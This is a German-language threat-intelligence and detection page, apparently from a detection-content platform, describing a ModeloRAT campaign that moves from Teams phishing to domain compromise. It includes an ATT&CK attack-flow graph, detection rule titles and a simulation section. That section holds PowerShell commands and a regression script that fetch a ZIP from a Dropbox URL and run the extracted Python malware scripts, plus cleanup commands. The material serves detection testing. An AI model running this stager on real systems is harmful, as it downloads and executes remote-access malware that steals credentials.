Analyse einer ModeloRAT-Kampagne: Von Teams-Phishing bis zur Domänenkompromittierung
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Rapid7 analysierte einen Einbruch, der mit einer bösartigen Microsoft Teams-Nachricht begann, die als IT-Support getarnt war. Der Angreifer nutzte eine auf Dropbox gehostete Python-Nutzlast, um ModeloRAT bereitzustellen, Privilegien zu eskalieren durch CVE-2023-36036, und stahlen Domänenanmeldeinformationen, indem sie dem Opfer einen gefälschten Sperrbildschirm präsentierten. Die Kampagne zeigte, wie schnell ein Angreifer von einem einzigen kompromittierten Endpunkt zu einem umfassenderen Diebstahl von Anmeldeinformationen über die gesamte Domäne übergehen kann, indem er auf Living-off-the-Land-Techniken setzt. Der Vorfall unterstreicht auch das wachsende Risiko, das von Kollaborationsplattformen als initialer Zugangspunkt ausgeht.
Untersuchung
Die Untersuchung verfolgte die gesamte Angriffskette von der ersten Teams-Konversation zu einem PowerShell-Stager, der ein ZIP-Archiv von Dropbox herunterlud, eine tragbare Python-Umgebung entpackte und collector.py and Pmanager.pystartete. ModeloRAT etablierte dann HTTP-Beaconing zu mehreren Command-and-Control-Servern, führte eine Host-Aufklärung durch und nutzte rundll32 um eine Kernel-Exploitation auszuführen, die Zugriff auf SYSTEM-Ebene gewährte. Die Persistenz wurde durch eine geplante Aufgabe aufrechterhalten, und die Angreifer setzten während des Einbruchs zusätzliche Backdoor-Komponenten ein.
Minderung
Organisationen sollten strenge Kontrollen über externen Zugriff in Microsoft Teams durchsetzen, ungewöhnliche PowerShell- und Python-Aktivitäten überwachen, bekannte bösartige Dropbox-URLs blockieren und sicherstellen, dass Systeme gegen CVE-2023-36036gepatcht sind. Anwendungssteuerungsrichtlinien, die die nicht autorisierte rundll32 Nutzung einschränken, können helfen, das Ausbeutungsrisiko zu reduzieren. Sicherheitsteams sollten auch nach gefälschtem Sperrbildschirmverhalten und anderen Anzeichen von Anmeldeinformations-Diebstahl auf Endpunkten Ausschau halten.
Reaktion
Wenn diese Aktivität erkannt wird, isolieren Sie den betroffenen Endpunkt sofort, widerrufen Sie die kompromittierten Anmeldeinformationen des Benutzers und setzen Sie die betroffenen Domänenpasswörter zurück. Ermittler sollten vollständige Speicherabbilder sammeln, einschließlich LSASS-bezogener Beweise, wo zutreffend, nach ModeloRAT-Artefakten suchen und alle bösartigen geplanten Aufgaben oder Persistenzmechanismen entfernen. Die Einstellungen des Teams-Mandanten sollten ebenfalls überprüft werden, und externe Chats sollten deaktiviert werden, wenn sie nicht betrieblich notwendig sind.
"graph TB %% Klassendefinitionen classDef action fill:#ffcccc classDef tool fill:#cce5ff classDef malware fill:#e6ffcc classDef process fill:#ffd9b3 classDef file fill:#f2e6ff %% Aktionsknoten action_phishing["<b>Aktion</b> – <b>T1566.003 Phishing: Spearphishing über Service</b><br/>Microsoft Teams-Nachricht, die sich als IT-Support ausgibt, mit bösartigem Link."] class action_phishing action action_impersonation["<b>Aktion</b> – <b>T1656 Nachahmung</b><br/>Gefälschtes IT-Support-Konto, das legitim aussieht."] class action_impersonation action action_content_injection["<b>Aktion</b> – <b>T1659 Inhaltsinjektion</b><br/>Nachricht enthält PowerShell-Befehl, der Infektionskette startet."] class action_content_injection action action_user_execution["<b>Aktion</b> – <b>T1204 Benutzerführung</b><br/>Opfer klickt auf Link oder kopiert und fügt PowerShell-Stager ein."] class action_user_execution action action_software_discovery["<b>Aktion</b> – <b>T1518 Softwareentdeckung</b><br/>collector.py zählt installierte Software, Patches und Konfigurationen auf."] class action_software_discovery action action_security_discovery["<b>Aktion</b> – <b>T1518.001 Sicherheitsoftwareentdeckung</b><br/>Skript prüft auf AV-Prozesse wie SecurityHealthHost.exe."] class action_security_discovery action action_system_info["<b>Aktion</b> – <b>T1082 Systeminformationsentdeckung</b><br/>systeminfo, whoami und andere Befehle sammeln Hostdetails."] class action_system_info action action_dll_loading["<b>Aktion</b> – <b>T1176 Softwareerweiterungen</b><br/>rundll32.exe lädt bösartige DLLs (ssss.dll, com6848.dll)."] class action_dll_loading action action_priv_esc["<b>Aktion</b> – <b>T1068 Ausbeutung zur Privilegienausweitung</b><br/>Exploitation von CVEu20112023u201136036 in cldflt.sys erhält SYSTEM-Token."] class action_priv_esc action action_defense_evasion["<b>Aktion</b> – <b>T1211 Ausbeutung zur Verteidigungsausweitung</b><br/>Kernel-Exploitation umgeht Sicherheitskontrollen."] class action_defense_evasion action action_persistence_active_setup["<b>Aktion</b> – <b>T1547.014 Aktive Setup-Persistenz</b><br/>Registrierungsschlüssel unter SyncRootManager registrieren bösartigen Cloud-Sync-Anbieter."] class action_persistence_active_setup action action_event_triggered["<b>Aktion</b> – <b>T1546 Ereignisausgelöste Ausführung</b><br/>Sync-Anbieter fungiert als ereignisgesteuertes Persistenzmechanismus."] class action_event_triggered action action_scheduled_task["<b>Aktion</b> – <b>T1053 Geplante Aufgabe</b><br/>Tägliche Aufgabe TempLogA führt internal.py mit SYSTEM-Berechtigungen aus."] class action_scheduled_task action action_path_interception["<b>Aktion</b> – <b>T1574.007 Pfadabfang</b><br/>Tragbares Python-Verzeichnis wird frühzeitig in den PFAD platziert, um Ausführung sicherzustellen."] class action_path_interception action action_c2_http["<b>Aktion</b> – <b>T1071.001 Anwendungsprotokoll: Webprotokolle</b><br/>ModeloRAT kommuniziert mit C2-Servern über HTTP-Port 80."] class action_c2_http action action_nonstandard_port["<b>Aktion</b> – <b>T1571 Nichtstandard-Port</b><br/>Zusätzliche Rückverbindungskanäle nutzen die Ports 50508 und 60503."] class action_nonstandard_port action action_winrm["<b>Aktion</b> – <b>T1563 Fernwartungssitzung-Entführung</b><br/>Angreifer öffnet WinRM-Sitzung für Tool-Bereitstellung auf einem zweiten Host."] class action_winrm action action_rdp["<b>Aktion</b> – <b>T1078.002 Gültige Konten: Domänenkonten</b><br/>Gestohlene Anmeldeinformationen werden für RDP-Anmeldungen verwendet."] class action_rdp action action_kerberoasting["<b>Aktion</b> – <b>T1558.003 Kerberoasting</b><br/>Anfragen von Diensttickets generieren Anmeldeinformations-Hashes."] class action_kerberoasting action action_os_credential_dump["<b>Aktion</b> – <b>T1003 OS Anmeldeinformations-Dumping</b><br/>DumpIt.exe erfasst Speicher einschließlich LSASS."] class action_os_credential_dump action action_unsecured_credentials["<b>Aktion</b> – <b>T1552.001 Unsichere Anmeldeinformationen</b><br/>Gefälschte Sperrbildschirm-DLL protokolliert erfasste Passwörter auf der Festplatte."] class action_unsecured_credentials action action_window_discovery["<b>Aktion</b> – <b>T1010 Anwendungsfenster-Entdeckung</b><br/>Replik eines Sperrbildschirms imitiert Windows-Sperrbildschirm, um Eingaben zu erfassen."] class action_window_discovery action action_bits_job["<b>Aktion</b> – <b>T1197 BITS-Aufträge</b><br/>DumpIt wird über BITS heruntergeladen und ausgeführt."] class action_bits_job action %% Tool / Datei / Malware Knoten tool_powershell["<b>Tool</b> – <b>Name</b>: PowerShell<br/><b>Beschreibung</b>: Führt anfänglichen Stager-Befehl aus."] class tool_powershell tool tool_python["<b>Tool</b> – <b>Name</b>: Tragbares Python (pythonw.exe)<br/><b>Beschreibung</b>: Führt collector.py und Pmanager.py aus."] class tool_python tool tool_rundll32["<b>Tool</b> – <b>Name</b>: rundll32.exe<br/><b>Beschreibung</b>: Läd bösartige DLL-Payloads."] class tool_rundll32 tool tool_dumpit["<b>Tool</b> – <b>Name</b>: DumpIt.exe<br/><b>Beschreibung</b>: Speichererfassungstool."] class tool_dumpit tool malware_collector["<b>Malware</b> – <b>Name</b>: collector.py<br/><b>Beschreibung</b>: Anfängliches Python-Skript, das Entdeckung durchführt und weitere Module startet."] class malware_collector malware malware_pmanager["<b>Malware</b> – <b>Name</b>: Pmanager.py (ModeloRAT)<br/><b>Beschreibung</b>: Fernzugriffstrojaner, der mit C2 kommuniziert."] class malware_pmanager malware file_ssss_dll["<b>Datei</b> – <b>Name</b>: ssss.dll<br/><b>Beschreibung</b>: Bösartige DLL für die Eskalation geladen."] class file_ssss_dll file file_com6848_dll["<b>Datei</b> – <b>Name</b>: com6848.dll<br/><b>Beschreibung</b>: Bösartige DLL für Anmeldeinformationssammlung geladen."] class file_com6848_dll file file_lockdll["<b>Datei</b> – <b>Name</b>: lockscreen.dll<br/><b>Beschreibung</b>: Gefälschter Sperrbildschirm, der Passwörter protokolliert."] class file_lockdll file %% Verbindungen u2013 Angriffsablauf action_phishing –>|verwendet| action_impersonation action_impersonation –>|liefert| action_content_injection action_content_injection –>|löst aus| action_user_execution action_user_execution –>|ausführt| tool_powershell tool_powershell –>|startet| tool_python tool_python –>|führt aus| malware_collector tool_python –>|führt aus| malware_pmanager malware_collector –>|führt durch| action_software_discovery malware_collector –>|führt durch| action_security_discovery malware_collector –>|führt durch| action_system_info malware_pmanager –>|lädt| tool_rundll32 tool_rundll32 –>|lädt| file_ssss_dll tool_rundll32 –>|lädt| file_com6848_dll file_ssss_dll –>|ermöglicht| action_priv_esc file_com6848_dll –>|ermöglicht| action_priv_esc action_priv_esc –>|bietet| action_defense_evasion action_defense_evasion –>|etabliert| action_persistence_active_setup action_persistence_active_setup –>|erschafft| action_event_triggered action_event_triggered –>|erschafft| action_scheduled_task action_scheduled_task –>|beruht auf| action_path_interception action_path_interception –>|sichert Ausführung von| malware_pmanager malware_pmanager –>|kommuniziert über| action_c2_http malware_pmanager –>|verwendet| action_nonstandard_port malware_pmanager –>|öffnet| action_winrm action_winrm –>|ermöglicht| action_rdp action_rdp –>|nutzt aus| action_kerberoasting action_kerberoasting –>|stellt Anmeldeinformationen für| action_os_credential_dump zur Verfügung action_os_credential_dump –>|ausgeführt von| tool_dumpit tool_dumpit –>|geliefert über| action_bits_job action_bits_job –>|unterstützt| action_os_credential_dump action_unsecured_credentials –>|implementiert von| file_lockdll file_lockdll –>|erfasst über| action_window_discovery action_window_discovery –>|schreibt zu| action_unsecured_credentials %% Stil class action_phishing,action_impersonation,action_content_injection,action_user_execution,action_software_discovery,action_security_discovery,action_system_info,action_dll_loading,action_priv_esc,action_defense_evasion,action_persistence_active_setup,action_event_triggered,action_scheduled_task,action_path_interception,action_c2_http,action_nonstandard_port,action_winrm,action_rdp,action_kerberoasting,action_os_credential_dump,action_unsecured_credentials,action_window_discovery,action_bits_job action class tool_powershell,tool_python,tool_rundll32,tool_dumpit tool class malware_collector,malware_pmanager malware class file_ssss_dll,file_com6848_dll,file_lockdll file "
Angriffsablauf
Erkennungen
Mögliche Systemaufzählung (über cmdline)
Ansehen
Mögliche Konto- oder Gruppenaufrufung / Manipulation (über cmdline)
Ansehen
Schtasks zeigt auf verdächtiges Verzeichnis / Binärdatei / Skript (über cmdline)
Ansehen
Möglicher NTLM-Anmeldeinformationsverlust über unerwünschten externen UNC-Pfad (über cmdline)
Ansehen
Ein Archiv wurde mit PowerShell in ein verdächtiges Verzeichnis entpackt (via powershell)
Ansehen
Mögliche Active Directory-Aufzählung mit AD-Modul DirectorySearcher (via powershell)
Ansehen
IOCs (HashSha256) zur Erkennung: Wenn der IT-Support anruft: Dissektion einer ModeloRAT-Kampagne von Teams zur Domänenkompromittierung
Ansehen
IOCs (SourceIP) zur Erkennung: Wenn der IT-Support anruft: Dissektion einer ModeloRAT-Kampagne von Teams zur Domänenkompromittierung
Ansehen
IOCs (DestinationIP) zur Erkennung: Wenn der IT-Support anruft: Dissektion einer ModeloRAT-Kampagne von Teams zur Domänenkompromittierung
Ansehen
Verdächtige Rundll32-Ausführung zur Privilegienausweitung und Anmeldeinformationssammlung [Windows Prozess Erstellung]
Ansehen
PowerShell-Download und Ausführung bösartiger Python-Skripte [Windows Powershell]
Ansehen
Simulationsausführung
Voraussetzung: Der Telemetrie- & Basispreflight-Check muss bestanden werden.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Angreifertechnik (TTP), die dazu entwickelt wurde, die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und zielen darauf ab, genau die Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
- Erstablage: Der Angreifer, der einen ersten Zutritt auf die Opfer-Workstation erlangt hat, startet PowerShell, um eine bösartige ZIP-Datei von Dropbox abzurufen. Die URL ist in der Erkennungsregel fest eingetragen, daher verwendet der Angreifer genau denselben String, um die Erkennung (für Validierungszwecke) zu gewährleisten.
- Extraktion: Mit dem eingebauten
Expand-ArchiveCmdlet wird das Archiv direkt in das Benutzerverzeichnis%APPDATA%entpackt, ein Ort, der von Verteidigern häufig übersehen wird. - Payload-Ausführung: Zwei Python-Skripte—
collector.pyandPmanager.py—werden überpythonw.exe(dem „fensterlosen“ Interpreter) ausgeführt, um sichtbare Konsolenfenster zu vermeiden, was eine unauffällige Persistenz und Datenexfiltration ermöglicht.
Genaue Befehle (müssen mit Regel übereinstimmen):
# 1. Herunterladen des ZIP-Archivs iwr -Uri "https://www.dropbox.com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" -OutFile "$env:APPDATAWinp.zip" # 2. Extrahieren des Archivs Expand-Archive -Path "$env:APPDATAWinp.zip" -DestinationPath "$env:APPDATA" # 3. Ausführen des ersten Python-Skripts Start-Process "$env:APPDATAWPy64-31401pythonpythonw.exe" -ArgumentList "$env:APPDATAWPy64-31401pythoncollector.py" # 4. Ausführen des zweiten Python-Skripts Start-Process "$env:APPDATAWPy64-31401pythonpythonw.exe" -ArgumentList "$env:APPDATAWPy64-31401pythonPmanager.py" -
Regressions-Testskript:
# ------------------------------------------------- # Regressions-Test – Nachahmung von ModeloRAT PowerShell-Workflow # ------------------------------------------------- $zipUrl = "https://www.dropbox.com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" $zipPath = "$env:APPDATAWinp.zip" $extractPath = $env:APPDATA $pythonExe = "$env:APPDATAWPy64-31401pythonpythonw.exe" $collector = "$env:APPDATAWPy64-31401pythoncollector.py" $pmanager = "$env:APPDATAWPy64-31401pythonPmanager.py" # Download Write-Host "[*] Herunterladen der bösartigen ZIP..." Invoke-WebRequest -Uri $zipUrl -OutFile $zipPath # Extraktion Write-Host "[*] Archiv extrahieren..." Expand-Archive -Path $zipPath -DestinationPath $extractPath -Force # Führen Sie collector.py aus Write-Host "[*] collector.py starten..." Start-Process -FilePath $pythonExe -ArgumentList $collector # Führen Sie Pmanager.py aus Write-Host "[*] Pmanager.py starten..." Start-Process -FilePath $pythonExe -ArgumentList $pmanager Write-Host "[+] Simulation abgeschlossen. SIEM auf Alarmierung überprüfen." -
Aufräum-Befehle:
# ------------------------------------------------- # Aufräumen – Entfernen von durch den Test erstellten Artefakten # ------------------------------------------------- $zipPath = "$env:APPDATAWinp.zip" $extractRoot = "$env:APPDATAWPy64-31401" $pythonExe = "$env:APPDATAWPy64-31401pythonpythonw.exe" # Stoppen Sie laufende pythonw-Prozesse aus diesem Test Get-Process -Name pythonw -ErrorAction SilentlyContinue | Where-Object {$_.Path -like "*WPy64-31401*"} | Stop-Process -Force # Entfernen Sie das extrahierte Verzeichnis if (Test-Path $extractRoot) { Remove-Item -Recurse -Force $extractRoot } # Entfernen Sie die ZIP-Datei if (Test-Path $zipPath) { Remove-Item -Force $zipPath } Write-Host "[+] Aufräumen abgeschlossen."